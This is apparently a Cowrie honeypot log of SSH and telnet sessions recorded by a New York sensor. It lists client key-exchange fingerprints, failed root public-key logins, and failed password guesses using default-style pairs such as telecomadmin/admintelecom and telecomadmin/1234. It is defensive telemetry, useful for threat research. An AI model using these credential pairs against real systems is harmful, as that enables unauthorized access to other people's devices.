{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.380897Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:27:9b:fc:b2:6b:85:c8:e7:1d:dd:63:0f:3d:dd:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFyzCqLv4IjNjD2rjCs39mmVRjMYBF6fwb9ppUQ/D2l7sSSYOdkJwVc6wko3lJHAtwTEMMUfQdJgA3KKJkmM4D9nzqrE5TpYjtgCln813G327/PXBeHDap1IMVU6FoPGR+gSnIIqRR5y7/5mwHU7I89Wpt4POpJAw5RUWV9S+5QYv2r4XEV+ypsJzt1GYHH1HY/WRl9vh5BY0J7Kb3F4iUG20S8EV4dtRkn6MA71KA82jyHOXfm/9tUGUS7bn8m3gPiX1IVmfvhiWUz+35Tp0JT7atkL5nJAjMObpSsKP2oSr7h6rmHvvU6gjtClS/Jw6v5jLTvCmcUo57qW1z41KR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:27:9b:fc:b2:6b:85:c8:e7:1d:dd:63:0f:3d:dd:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.497144Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:27:9b:fc:b2:6b:85:c8:e7:1d:dd:63:0f:3d:dd:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFyzCqLv4IjNjD2rjCs39mmVRjMYBF6fwb9ppUQ/D2l7sSSYOdkJwVc6wko3lJHAtwTEMMUfQdJgA3KKJkmM4D9nzqrE5TpYjtgCln813G327/PXBeHDap1IMVU6FoPGR+gSnIIqRR5y7/5mwHU7I89Wpt4POpJAw5RUWV9S+5QYv2r4XEV+ypsJzt1GYHH1HY/WRl9vh5BY0J7Kb3F4iUG20S8EV4dtRkn6MA71KA82jyHOXfm/9tUGUS7bn8m3gPiX1IVmfvhiWUz+35Tp0JT7atkL5nJAjMObpSsKP2oSr7h6rmHvvU6gjtClS/Jw6v5jLTvCmcUo57qW1z41KR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.500531Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:dc:c5:81:27:e8:4e:0e:ba:ec:5c:b2:0e:bd:25:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6mnIOmx2zM74BqkZs9DpgJzKpCIC0+XODapczFkqRapRMG2cA8p2WWZJwxEnPsv5DtstG2mfRiID8h+pBbE+BsnfwT/7FUiMBqGBY9yqoQihF7RRNRjrYCO6FTI9h+9TzOoK91U37pTpInTiA3L60kejWFwL3oKHK9QI8mEI2UMhdwcmGgfw+zyu61orjfr8ld+cEjTPPj2fWVlpVciLEq4qI0EMpv0DO1i4VDmxDjMMZXnAy6Al+wCfjzsGEGN/e0WQic8Cusi5We8A/IUqqF4ba6t01cD0xh83EAqRROrkIk3lTu29+mMFPo+Bx28KKOeXvs35IxySIlT/TeKD0mUhgEHLkOMs6STfLK4jyOOaFKcmQnJ+cDE118GFS78icdBH3I/vx6GM5cj8iWwQ3Rl57sPSjGc/MvrXdo8GSOwLSXDu+ne7rRlAmDdwxjcqT84x7zcJjuOoJbrr7djIzeXnN2Kwxqw+1Q3W9oJi3ddIVCIGqhHn4ERpT5UaOidkKOb/89HrMHKkZnxWS/3+FMj4L+kxjbwvDspELmkxcSR2/xJqZqKeBNDwCgVIGbtNo39SEb0wZ1+Bc7953qOHD1vy+9awEVrSGO/NZhwFOaMw8I8D8FX79pkTgr2ie+uZi4r65lzr6qzitY4cQjmIDhOD+pS9bfToeFU9THPfKoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:dc:c5:81:27:e8:4e:0e:ba:ec:5c:b2:0e:bd:25:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.531851Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:dc:c5:81:27:e8:4e:0e:ba:ec:5c:b2:0e:bd:25:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6mnIOmx2zM74BqkZs9DpgJzKpCIC0+XODapczFkqRapRMG2cA8p2WWZJwxEnPsv5DtstG2mfRiID8h+pBbE+BsnfwT/7FUiMBqGBY9yqoQihF7RRNRjrYCO6FTI9h+9TzOoK91U37pTpInTiA3L60kejWFwL3oKHK9QI8mEI2UMhdwcmGgfw+zyu61orjfr8ld+cEjTPPj2fWVlpVciLEq4qI0EMpv0DO1i4VDmxDjMMZXnAy6Al+wCfjzsGEGN/e0WQic8Cusi5We8A/IUqqF4ba6t01cD0xh83EAqRROrkIk3lTu29+mMFPo+Bx28KKOeXvs35IxySIlT/TeKD0mUhgEHLkOMs6STfLK4jyOOaFKcmQnJ+cDE118GFS78icdBH3I/vx6GM5cj8iWwQ3Rl57sPSjGc/MvrXdo8GSOwLSXDu+ne7rRlAmDdwxjcqT84x7zcJjuOoJbrr7djIzeXnN2Kwxqw+1Q3W9oJi3ddIVCIGqhHn4ERpT5UaOidkKOb/89HrMHKkZnxWS/3+FMj4L+kxjbwvDspELmkxcSR2/xJqZqKeBNDwCgVIGbtNo39SEb0wZ1+Bc7953qOHD1vy+9awEVrSGO/NZhwFOaMw8I8D8FX79pkTgr2ie+uZi4r65lzr6qzitY4cQjmIDhOD+pS9bfToeFU9THPfKoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.535855Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:ce:ec:40:31:8f:58:00:24:03:60:e3:6f:b3:81:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFku37AZ83Jjod6mrYkKrN3fcn8ZJFNU3soJS/p1D4xcvFjlpjIPYaGInvAFbJ4GnNYw3xbJ5uaXWhFSTrgE3aava6JbYMtpwP43oH6STlJDg7u+GGjBJrJm2jHsAX64Jm3BPpL5anzlsC5TD87rr0rhM1z1Tm7LVQyLEccTVx949fB/Qp3/pL8aJMf+jCw9yV0Yi9QxRFBZpR4xpBbskBv6XFVscHF2ajZ3SdcJj8G09qdsK8QO75Zj/oHinWu8WZgTls9k9ktOPdpuoNchrykUrfyAARHgQmL+PLpS50gwPTZyNgWfDUiKyt6DvTXBhGXB0fDx+ZmGf7EIXmTQcFkrrLWYm8o+BwyOgyItTxtEE+t0cWacLRhnM56npWg4rbp5RDascbvVCnYc0w4e5LppW92DH0AusmU4+nAnyOIfTH7WPNoQCe3oGO+u6lpVT2aXyJB2LSgmzawGX/ExEFVGD4xtRsVu7zJbeY6XLT4b8N8zZGKbJW1Mb3CFnkC/XWR+j+JvsLE9VxsgQJDU5wYwQFbAWPFdubCDNQ8F50Wt1+6ZaNVKjSkivgYUHFmycuS/e4LK5cihqUuldT57pRvZoQAP9U+pk4qu5CTTWC8UJFOOIXtT3pKdlWOqnGu5CdkPekb2L3GK+RlD6MsDL/jVxcm1fJhMVzDZVWK03/WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:ce:ec:40:31:8f:58:00:24:03:60:e3:6f:b3:81:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.564627Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:ce:ec:40:31:8f:58:00:24:03:60:e3:6f:b3:81:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFku37AZ83Jjod6mrYkKrN3fcn8ZJFNU3soJS/p1D4xcvFjlpjIPYaGInvAFbJ4GnNYw3xbJ5uaXWhFSTrgE3aava6JbYMtpwP43oH6STlJDg7u+GGjBJrJm2jHsAX64Jm3BPpL5anzlsC5TD87rr0rhM1z1Tm7LVQyLEccTVx949fB/Qp3/pL8aJMf+jCw9yV0Yi9QxRFBZpR4xpBbskBv6XFVscHF2ajZ3SdcJj8G09qdsK8QO75Zj/oHinWu8WZgTls9k9ktOPdpuoNchrykUrfyAARHgQmL+PLpS50gwPTZyNgWfDUiKyt6DvTXBhGXB0fDx+ZmGf7EIXmTQcFkrrLWYm8o+BwyOgyItTxtEE+t0cWacLRhnM56npWg4rbp5RDascbvVCnYc0w4e5LppW92DH0AusmU4+nAnyOIfTH7WPNoQCe3oGO+u6lpVT2aXyJB2LSgmzawGX/ExEFVGD4xtRsVu7zJbeY6XLT4b8N8zZGKbJW1Mb3CFnkC/XWR+j+JvsLE9VxsgQJDU5wYwQFbAWPFdubCDNQ8F50Wt1+6ZaNVKjSkivgYUHFmycuS/e4LK5cihqUuldT57pRvZoQAP9U+pk4qu5CTTWC8UJFOOIXtT3pKdlWOqnGu5CdkPekb2L3GK+RlD6MsDL/jVxcm1fJhMVzDZVWK03/WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.569050Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:61:4d:ed:fc:9e:a7:10:2b:a1:63:20:fe:84:5f:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5OgrXroZgpCuqfUGEqmYnBK90yw3LbCZi8bHFa8lAKaN7um0VmaDFoGXRIpIZa9RO+uQDiUd8vofTtCkmfvwpM09XZ4116RLlEijLwrfJFqBPK1LVp4bo1rFy2wVnV1Pm8t2k17+b03stsldodznIOyMDtk2OZyLAuk/pZuAOndYumBlGWhLJN5obrvvbSOgMy2XW5yocNIOelIvPwWqfQNDX7QwPLeaDQ+/395uFRvl108Wcov8TwAocAzd6m0INtxhDZF0RgSJpZCmWRvIBsvldnqOL74JdIkBFLSSL086rr+tAekRYXY/KsKM1NHjFuTaCqIIrIBlnTbJzukAD4WMxFRaTF7GNIrFeTaTGG3LECr2/fOrvkONOluPzEw22SgydBx85VeOU9QPh6rdObeQWibsrZr7MMxvfZ3L7QXQGLOftB1uBOlL+9D8nYwDDVaknGf99HBBgqMFXOpj6QgA0Nd91TVBvmo0ZUesaiH60OBi9sPBbAVLP2yPySUfzznMLoNsCI2DmuYyAkZDb2XQvBl+oJYqvDIstsaTVjH/FTykOc6hN43Umh1hbYQNU7DyJepPgpB3diSkKmgikyNNMJwKqqws/ye3bWXHDUgFQWKXyqqCcCCIqu+zq1s7RInPc/mkAQ5X6Jru8iVUr92cLLD9gsOBVsx4qOuD2Iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:61:4d:ed:fc:9e:a7:10:2b:a1:63:20:fe:84:5f:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.597651Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:61:4d:ed:fc:9e:a7:10:2b:a1:63:20:fe:84:5f:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5OgrXroZgpCuqfUGEqmYnBK90yw3LbCZi8bHFa8lAKaN7um0VmaDFoGXRIpIZa9RO+uQDiUd8vofTtCkmfvwpM09XZ4116RLlEijLwrfJFqBPK1LVp4bo1rFy2wVnV1Pm8t2k17+b03stsldodznIOyMDtk2OZyLAuk/pZuAOndYumBlGWhLJN5obrvvbSOgMy2XW5yocNIOelIvPwWqfQNDX7QwPLeaDQ+/395uFRvl108Wcov8TwAocAzd6m0INtxhDZF0RgSJpZCmWRvIBsvldnqOL74JdIkBFLSSL086rr+tAekRYXY/KsKM1NHjFuTaCqIIrIBlnTbJzukAD4WMxFRaTF7GNIrFeTaTGG3LECr2/fOrvkONOluPzEw22SgydBx85VeOU9QPh6rdObeQWibsrZr7MMxvfZ3L7QXQGLOftB1uBOlL+9D8nYwDDVaknGf99HBBgqMFXOpj6QgA0Nd91TVBvmo0ZUesaiH60OBi9sPBbAVLP2yPySUfzznMLoNsCI2DmuYyAkZDb2XQvBl+oJYqvDIstsaTVjH/FTykOc6hN43Umh1hbYQNU7DyJepPgpB3diSkKmgikyNNMJwKqqws/ye3bWXHDUgFQWKXyqqCcCCIqu+zq1s7RInPc/mkAQ5X6Jru8iVUr92cLLD9gsOBVsx4qOuD2Iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.601580Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:eb:5f:f0:47:86:d0:13:a0:67:fc:1a:16:96:99:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCJDHECNz1Ukk9bZHc4FudSf1CwYZCfeDJAsa3wxR5EbdRX2b7RVN1AFXdARdSpfR9atUL//VvogBGlTZtqvOLORdter/+wwgKnuAtMkG+WFHsBZiUC4ExAprc1GLLEs/Ud78KvMRhxVLS/BV9cmZD4RJOjf81lIIvCD8ej1uneR162k6lY6pCpjkUFj0FHneHVgu4X++DsepX9FmygPC28fuRnK08JI1i3otuYG5JsHt8mCQ5XOHBcOUyDHbwXJbuLKJrhqJotV62NGHJxK+cAGePmGrubwpf7o6LanIDNXJA5gTcHZQu700PYWj7DoEmVX7E+XBBef3HksmvkoE10FBYaXf0QodmwJHRx6E6Yt2fA8UaO6wuF+C6Kot5992YipIAfqjhJV6I6WZoQQl2A33q8HfjIxyZcW75IuvtUODHqLD4I4YzP8cPT78djMT4640ncZiRrkWVlX5bYKkQZs5nHUGvKjdkCJgG2kgNWayQUqjrrE2ixtDIBBIYzawyknXf6lvgOv4uuVPQT1m5pWGsNHsatggnCc0Q0PTg09NrMLlU7ZuHzGSw6/Hukq3xd/RIqqghFjlJBhxawAomdWtK9nQR0CITiRRF2sBATAvFDnHPT0HUCKhW2TG+eEZ9XGScA2/Cl9BXgrqxFJCFEaNpl5bfDJQd3wSaIHjnxMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:eb:5f:f0:47:86:d0:13:a0:67:fc:1a:16:96:99:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.629539Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:eb:5f:f0:47:86:d0:13:a0:67:fc:1a:16:96:99:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCJDHECNz1Ukk9bZHc4FudSf1CwYZCfeDJAsa3wxR5EbdRX2b7RVN1AFXdARdSpfR9atUL//VvogBGlTZtqvOLORdter/+wwgKnuAtMkG+WFHsBZiUC4ExAprc1GLLEs/Ud78KvMRhxVLS/BV9cmZD4RJOjf81lIIvCD8ej1uneR162k6lY6pCpjkUFj0FHneHVgu4X++DsepX9FmygPC28fuRnK08JI1i3otuYG5JsHt8mCQ5XOHBcOUyDHbwXJbuLKJrhqJotV62NGHJxK+cAGePmGrubwpf7o6LanIDNXJA5gTcHZQu700PYWj7DoEmVX7E+XBBef3HksmvkoE10FBYaXf0QodmwJHRx6E6Yt2fA8UaO6wuF+C6Kot5992YipIAfqjhJV6I6WZoQQl2A33q8HfjIxyZcW75IuvtUODHqLD4I4YzP8cPT78djMT4640ncZiRrkWVlX5bYKkQZs5nHUGvKjdkCJgG2kgNWayQUqjrrE2ixtDIBBIYzawyknXf6lvgOv4uuVPQT1m5pWGsNHsatggnCc0Q0PTg09NrMLlU7ZuHzGSw6/Hukq3xd/RIqqghFjlJBhxawAomdWtK9nQR0CITiRRF2sBATAvFDnHPT0HUCKhW2TG+eEZ9XGScA2/Cl9BXgrqxFJCFEaNpl5bfDJQd3wSaIHjnxMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.633654Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:48.663520Z","src_ip":"154.16.115.17","session":"ee425983efca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.085941553115845,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:41:50.102826Z","src_ip":"45.190.158.51","session":"6da890cce1df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":57930,"dst_ip":"10.17.0.5","dst_port":22,"session":"60aab987ffde","protocol":"ssh","message":"New connection: 190.244.39.224:57930 (10.17.0.5:22) [session: 60aab987ffde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:18.545127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:18.549641Z","src_ip":"190.244.39.224","session":"60aab987ffde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:18.755241Z","src_ip":"190.244.39.224","session":"60aab987ffde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testwww","password":"testwww123","message":"login attempt [testwww/testwww123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:19.588393Z","src_ip":"190.244.39.224","session":"60aab987ffde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:20.794153Z","src_ip":"190.244.39.224","session":"60aab987ffde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":14002,"dst_ip":"159.203.135.109","dst_port":22,"session":"496d3a2aacda","protocol":"ssh","message":"New connection: 193.46.255.86:14002 (159.203.135.109:22) [session: 496d3a2aacda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:23.604348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:23.609585Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:23.741393Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:24.329344Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"1234","message":"login attempt [telecomadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:25.465058Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abc123","message":"login attempt [telecomadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:26.598778Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd123","message":"login attempt [telecomadmin/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:27.730263Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39374,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e8d6913868","protocol":"ssh","message":"New connection: 193.32.162.145:39374 (159.203.135.109:22) [session: b7e8d6913868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:28.115291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:28.119368Z","src_ip":"193.32.162.145","session":"b7e8d6913868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-s